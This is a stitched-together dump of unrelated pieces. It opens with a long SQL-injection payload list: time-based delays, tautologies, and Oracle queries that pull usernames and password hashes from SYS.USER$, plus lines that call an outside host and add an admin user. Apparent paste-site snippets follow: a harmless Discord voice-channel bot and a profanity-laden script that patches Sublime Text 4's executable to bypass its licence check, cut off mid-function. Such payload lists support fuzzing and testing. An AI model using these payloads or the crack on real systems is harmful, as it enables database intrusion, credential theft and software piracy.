,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
 waitfor delay '0:0:20' /*
 waitfor delay '0:0:20' --
' waitfor delay '0:0:20' /*
' waitfor delay '0:0:20' --
" waitfor delay '0:0:20' /*
" waitfor delay '0:0:20' --
) waitfor delay '0:0:20' /*
) waitfor delay '0:0:20' --
)) waitfor delay '0:0:20' /*
)) waitfor delay '0:0:20' --
))) waitfor delay '0:0:20' /*
))) waitfor delay '0:0:20' --
)))) waitfor delay '0:0:20' /*
)))) waitfor delay '0:0:20' --
))))) waitfor delay '0:0:20' --
)))))) waitfor delay '0:0:20' --
') waitfor delay '0:0:20' /*
') waitfor delay '0:0:20' --
") waitfor delay '0:0:20' /*
") waitfor delay '0:0:20' --
')) waitfor delay '0:0:20' /*
')) waitfor delay '0:0:20' --
")) waitfor delay '0:0:20' /*
")) waitfor delay '0:0:20' --
'))) waitfor delay '0:0:20' /*
'))) waitfor delay '0:0:20' --
"))) waitfor delay '0:0:20' /*
"))) waitfor delay '0:0:20' --
')))) waitfor delay '0:0:20' /*
')))) waitfor delay '0:0:20' --
")))) waitfor delay '0:0:20' /*
")))) waitfor delay '0:0:20' --
'))))) waitfor delay '0:0:20' /*
'))))) waitfor delay '0:0:20' --
"))))) waitfor delay '0:0:20' /*
"))))) waitfor delay '0:0:20' --
')))))) waitfor delay '0:0:20' /*
')))))) waitfor delay '0:0:20' --
")))))) waitfor delay '0:0:20' /*
")))))) waitfor delay '0:0:20' --
 and 0=benchmark(3000000,MD5(1))%20/*
 and 0=benchmark(3000000,MD5(1))%20--
 and 0=benchmark(3000000,MD5(1))%20%23
' and 0=benchmark(3000000,MD5(1))%20/*
' and 0=benchmark(3000000,MD5(1))%20--
' and 0=benchmark(3000000,MD5(1))%20%23
" and 0=benchmark(3000000,MD5(1))%20/*
" and 0=benchmark(3000000,MD5(1))%20--
" and 0=benchmark(3000000,MD5(1))%20%23
) and 0=benchmark(3000000,MD5(1))%20/*
) and 0=benchmark(3000000,MD5(1))%20--
) and 0=benchmark(3000000,MD5(1))%20%23
)) and 0=benchmark(3000000,MD5(1))%20/*
)) and 0=benchmark(3000000,MD5(1))%20--
)) and 0=benchmark(3000000,MD5(1))%20%23
))) and 0=benchmark(3000000,MD5(1))%20/*
))) and 0=benchmark(3000000,MD5(1))%20--
))) and 0=benchmark(3000000,MD5(1))%20%23
)))) and 0=benchmark(3000000,MD5(1))%20/*
)))) and 0=benchmark(3000000,MD5(1))%20--
)))) and 0=benchmark(3000000,MD5(1))%20%23
') and 0=benchmark(3000000,MD5(1))%20/*
') and 0=benchmark(3000000,MD5(1))%20--
') and 0=benchmark(3000000,MD5(1))%20%23
") and 0=benchmark(3000000,MD5(1))%20/*
") and 0=benchmark(3000000,MD5(1))%20--
") and 0=benchmark(3000000,MD5(1))%20%23
')) and 0=benchmark(3000000,MD5(1))%20/*
')) and 0=benchmark(3000000,MD5(1))%20--
')) and 0=benchmark(3000000,MD5(1))%20%23
")) and 0=benchmark(3000000,MD5(1))%20/*
")) and 0=benchmark(3000000,MD5(1))%20--
")) and 0=benchmark(3000000,MD5(1))%20%23
'))) and 0=benchmark(3000000,MD5(1))%20/*
'))) and 0=benchmark(3000000,MD5(1))%20--
'))) and 0=benchmark(3000000,MD5(1))%20%23
"))) and 0=benchmark(3000000,MD5(1))%20/*
"))) and 0=benchmark(3000000,MD5(1))%20--
"))) and 0=benchmark(3000000,MD5(1))%20%23
')))) and 0=benchmark(3000000,MD5(1))%20/*
')))) and 0=benchmark(3000000,MD5(1))%20--
')))) and 0=benchmark(3000000,MD5(1))%20%23
")))) and 0=benchmark(3000000,MD5(1))%20/*
")))) and 0=benchmark(3000000,MD5(1))%20--
")))) and 0=benchmark(3000000,MD5(1))%20%23
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
1
1'
1"
[1]
1`
1\
1/*'*/
1/*!1111'*/
1'||'asd'||'
1' or '1'='1
1 or 1=1
'or''='
# contains statements from jbrofuzz
’ or ‘1’=’1
' or '1'='1
'||utl_http.request('httP://192.168.1.1/')||'
' || myappadmin.adduser('admin', 'newpass') || '
' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i
[ created: Oct 13, 2026 4:16 pm ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ python == code ] 🌍 public snippet.py
gaze up0n 👤 #36cf66916a59 python
import discord
from discord.ext import commands

intents = discord.Intents.default()
intents.message_content = True

bot = commands.Bot(command_prefix='!', intents=intents)

# Replace with your channel ID
SPECIFIC_CHANNEL_ID = 1460920186897956960

@bot.event
async def on_ready():
    print(f'{bot.user} is ready!')

@bot.command()
async def joinid(ctx):
    """Join the specific channel by ID"""
    try:
        # Get the channel by ID
        channel = bot.get_channel(SPECIFIC_CHANNEL_ID)

        if channel:
            await channel.connect()
            await ctx.send(f"✅ Joined {channel.name} (ID: {channel.id})")
        else:
            await ctx.send("❌ Channel not found! Make sure:")
            await ctx.send(f"- Channel ID is correct: {SPECIFIC_CHANNEL_ID}")
            await ctx.send("- Bot has access to the channel")
            await ctx.send("- Bot is in the same server as the channel")

    except discord.errors.ClientException as e:
        if "Already connected" in str(e):
            await ctx.send("❌ Already connected to a voice channel! Use `!leave` first.")
        else:
            await ctx.send(f"❌ Error: {e}")
    except Exception as e:
        await ctx.send(f"❌ Unexpected error: {e}")

@bot.command()
async def leave(ctx):
    """Leave voice channel"""
    if ctx.voice_client:
        await ctx.voice_client.disconnect()
        await ctx.send("✅ Left voice channel")
    else:
        await ctx.send("❌ I'm not in a voice channel!")

@bot.command()
async def autojoin(ctx):
    """Automatically join the specific channel on command"""
    guild = ctx.guild

    if guild:
        channel = guild.get_channel(SPECIFIC_CHANNEL_ID)

        if channel and isinstance(channel, discord.VoiceChannel):
            # Check if bot is already in a voice channel
            if ctx.voice_client:
                await ctx.voice_client.move_to(channel)
                await ctx.send(f"✅ Moved to {channel.name}")
            else:
                await channel.connect()
                await ctx.send(f"✅ Joined {channel.name}")
        else:
            await ctx.send("❌ Voice channel not found in this server!")
    else:
        await ctx.send("❌ This command must be used in a server!")

bot.run('INSERT DISCORD TOKEN')
[ created: Sep 26, 2026 12:32 pm ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ python == code ] 🌍 public snippet.py
gaze up0n 👤 #36cf66916a59 python
#! /usr/bin/env python3
"""
this script does stuff to sublime text. or doesn't. who the fuck knows.
probably don't use this for anything important. or do. i'm not your mom.

but foreal though... this will license your sublime text 4 application.
"""

import argparse
import itertools
import logging
import re
import subprocess
import sys
import ctypes
from collections.abc import Sequence
from pathlib import Path
from sys import exit
from typing import NamedTuple, Optional, Union
from zipfile import ZipFile
import pefile

_TARGET_PROGRAM = "sublime_text.exe"
_DEFAULT_PATH = Path(r"C:\Program Files\Sublime Text\sublime_text.exe")

class _SpecialFormatter(logging.Formatter):
    _FORMATS = {
        logging.ERROR: "[!] %(message)s",
        logging.INFO: "[+] %(message)s", 
        logging.DEBUG: "[=] %(message)s",
        logging.WARNING: "[-] %(message)s",
        "DEFAULT": "%(levelname)s: %(message)s",
    }

    def format(self, record: logging.LogRecord):
        _orig_fmt = self._fmt
        _orig_style = self._style

        self._fmt = self._FORMATS.get(record.levelno, self._FORMATS["DEFAULT"])
        self._style = logging.PercentStyle(self._fmt)
        _result = super().format(record)

        self._fmt = _orig_fmt
        self._style = _orig_style

        return _result


_logger = logging.getLogger(__name__)
_logger.setLevel(logging.DEBUG)
_c_handler = logging.StreamHandler()
_c_handler.setLevel(logging.DEBUG)
_c_handler.setFormatter(_SpecialFormatter())
_logger.addHandler(_c_handler)


class _PrettyBytes:
    def __init__(self, _bytes: bytes) -> None:
        self.bytes = _bytes

    def __str__(self) -> str:
        return "".join("\\x{:02x}".format(b) for b in self.bytes)

    def __format__(self, format_spec) -> str:
        return format(str(self), format_spec)


class _Sig:
    # TODO: maybe combine stuff? who gives a shit, it works... probably
    _BYTE_RE = b".{1}"

    def __init__(self, pattern: str, ref: str = "", offset: int = 0x0, name: str = "") -> None:
        self.raw_pattern = pattern
        self.pattern = self._process_wildcards(self.raw_pattern)
        self.ref = ref
        self.offset = offset
        self.name = name

    def __str__(self) -> str:
        return f'"{self.name}": {self.raw_pattern}'

    @classmethod
    def _process_wildcards(cls, pattern: str):
        return b"".join(
            re.escape(bytes.fromhex(byte)) if byte != "?" else cls._BYTE_RE
            for byte in pattern.split(" ")
        )


class _Sigs(Sequence):
    """like a signature, but with fuckin' friends!"""

    def __init__(self, name: str, *sigs: _Sig) -> None:
        self.sigs = sigs
        self.name = name
        if len(self.sigs) == 1:
            self.sigs[0].name = name
        else:
            for i, sig in enumerate(self.sigs):
                sig.name = f"{name}.{i + 1}"

    def __getitem__(self, index: Union[int, slice]):
        return self.sigs[index]

    def __len__(self) -> int:
        return len(self.sigs)

    def __str__(self) -> str:
        return self.name

    def __format__(self, format_spec) -> str:
        return format(str(self), format_spec)


class _Patch:
    """replaces bytes because we can't be fucked to do it properly"""
    
    _CALL_LEN = 5
    _LEA_LEN = 7
    
    _patch_types = {
        k: bytes.fromhex(v)
        for k, v in {
            "nop": "90" * _CALL_LEN,
            "ret": "C3",
            "ret0": "48 31 C0 C3",
            "ret1": "48 31 C0 48 FF C0 C3",
            "ret280": "48 31 C0 B8 18 01 00 00 C3",
        }.items()
    }

    def __init__(self, patch_type: str, sigs: Union[_Sig, _Sigs]) -> None:
        if isinstance(sigs, _Sig):
            sigs = _Sigs(sigs.name, sigs)
        self.sigs = sigs

        if patch_type not in _Patch._patch_types:
            _msg = f"unsupported patch type {patch_type} - figure it out yourself, asshole"
            raise ValueError(_msg)

        self.patch_type = patch_type
        self.new_bytes = _Patch._patch_types[self.patch_type]
        self.patched = False
        self.offset = 0
        self.old_bytes = b""

    def apply(self, file: "_File"):
        _logger.info("applying patch %s (fingers fuckin' crossed)...", self)
        for sig in self.sigs:
            _logger.debug("looking for signature %s...", sig)
            try:
                self.offset = file.find(sig)
            except ValueError as e:
                _logger.warning(e)
                continue
            else:
                _end_offset = self.offset + len(self.new_bytes)
                self.old_bytes = file.data[self.offset : _end_offset].tobytes()
                if self.old_bytes == self.new_bytes:
                    _logger.warning("patch %s already applied (boring as shit)", self)
                self._log_patch(self.offset, sig.name, self.old_bytes, self.new_bytes)
                file.data[self.offset : _end_offset] = self.new_bytes
                self.patched = True
                return self.offset
        _msg = f"could not find any signatures for patch {self} - skill issue, dipshit"
        raise ValueError(_msg)

    def revert(self, file: "_File"):
        _logger.info("reverting patch %s (well shit...)", self)
        if not self.patched:
            _msg = f"patch {self} hasn't been applied yet, genius"
            raise ValueError(_msg)

        _end_offset = self.offset + len(self.old_bytes)
        self._log_patch(self.offset, self.sigs, self.new_bytes, self.old_bytes)
        file.data[self.offset : _end_offset] = self.old_bytes
        self.patched = False
        return self.offset

    @staticmethod
    def _log_patch(offset, name, old_bytes, new_bytes) -> None:
        _logger.debug(
            "offset {:<8}: {}\n\t - {}\n\t + {}\n".format(
                hex(offset),
                name,
                _PrettyBytes(old_bytes),
                _PrettyBytes(new_bytes),
            )
        )

    def __str__(self) -> str:
        return f'"{self.patch_type} {self.sigs}"'


class _File:
    """loads file data because reading is apparently fuckin' hard"""
    
    _NULL = b"\x00"

    def __init__(self, filepath: Union[str, Path]) -> None:
        self.path = self._parse_path(filepath)
        self.pe = self._parse_pe()
        self.sections = {s.Name.strip(self._NULL).decode(): s for s in self.pe.sections}
        self.pe.close()

        try:
            self.data = memoryview(bytearray(self.path.read_bytes()))
        except OSError as e:
            _msg = f"{self.path} isn't a real file (surprise, surprise)"
            raise OSError(_msg) from e
        else:
            self.patches: list[_Patch] = []
            self.patched_offsets: list[int] = []

    def add_patch(self, patch: _Patch) -> None:
        self.patches.append(patch)

    def add_patches(self, patches: list[_Patch]):
        _logger.info("adding patches because why the fuck not...")
        if not patches:
            _logger.warning("no patches to add - how boring")
            return
        self.patches.extend(patches)

    def save(self) -> None:
        _backup_path = self.path.with_suffix(f"{self.path.suffix}.bak")
        _logger.info("backing up original file at %s (you're welcome)", _backup_path)

        try:
            self.path.replace(_backup_path)
        except PermissionError as e:
            _msg = f"permission denied renaming file to {_backup_path}. try running as Administrator (duh)"
            raise PermissionError(_msg) from e
        except OSError as e:
            _msg = f"error renaming file to {_backup_path} - who the fuck broke it?"
            raise OSError(_msg) from e

        try:
            self.path.write_bytes(self.data)
        except PermissionError as e:
            _msg = f"permission denied writing to {self.path}. try running as Administrator, genius."
            raise PermissionError(_msg) from e
        except OSError as e:
            _msg = f"error writing to {self.path} - did you break something?"
            raise OSError(_msg) from e
        else:
            _logger.info("patched file written at %s (it might even fuckin' work!)", self.path)

    def apply_patch(self, patch: _Patch):
        return patch.apply(self)

    def apply_all_patches(self):
        _logger.info("applying ALL the patches (hold onto your butts)...")
        if not self.patches:
            _logger.warning("no patches to apply - mission accomplished?")
            return []
        for patch in self.patches:
            self.patched_offsets.append(self.apply_patch(patch))
        _logger.info("all patches applied! (probably)")
        return self.patched_offsets

    def revert_patch(self, patch: _Patch):
        return patch.revert(self)

    def revert_all_patches(self) -> None:
        _logger.info("reverting all patches (oops, my bad)...")
        if not self.patches:
            _logger.warning("no patches to revert - crisis averted")
            return
        for patch in self.patches:
            self.revert_patch(patch)
        _logger.info("all patches reverted! (we'll pretend this never fuckin' happened)")

    @staticmethod
    def _parse_path(filepath: Union[str, Path]):
        if isinstance(filepath, str):
            filepath = filepath.strip('"')
        path = Path(filepath)
        if not path.exists():
            _msg = f"file {filepath} doesn't exist - are you sure?"
            raise FileNotFoundError(_msg)
        if not path.is_file():
            _logger.warning("%s is a directory, not a file (reading comprehension fail)", filepath)
            path = path / _TARGET_PROGRAM
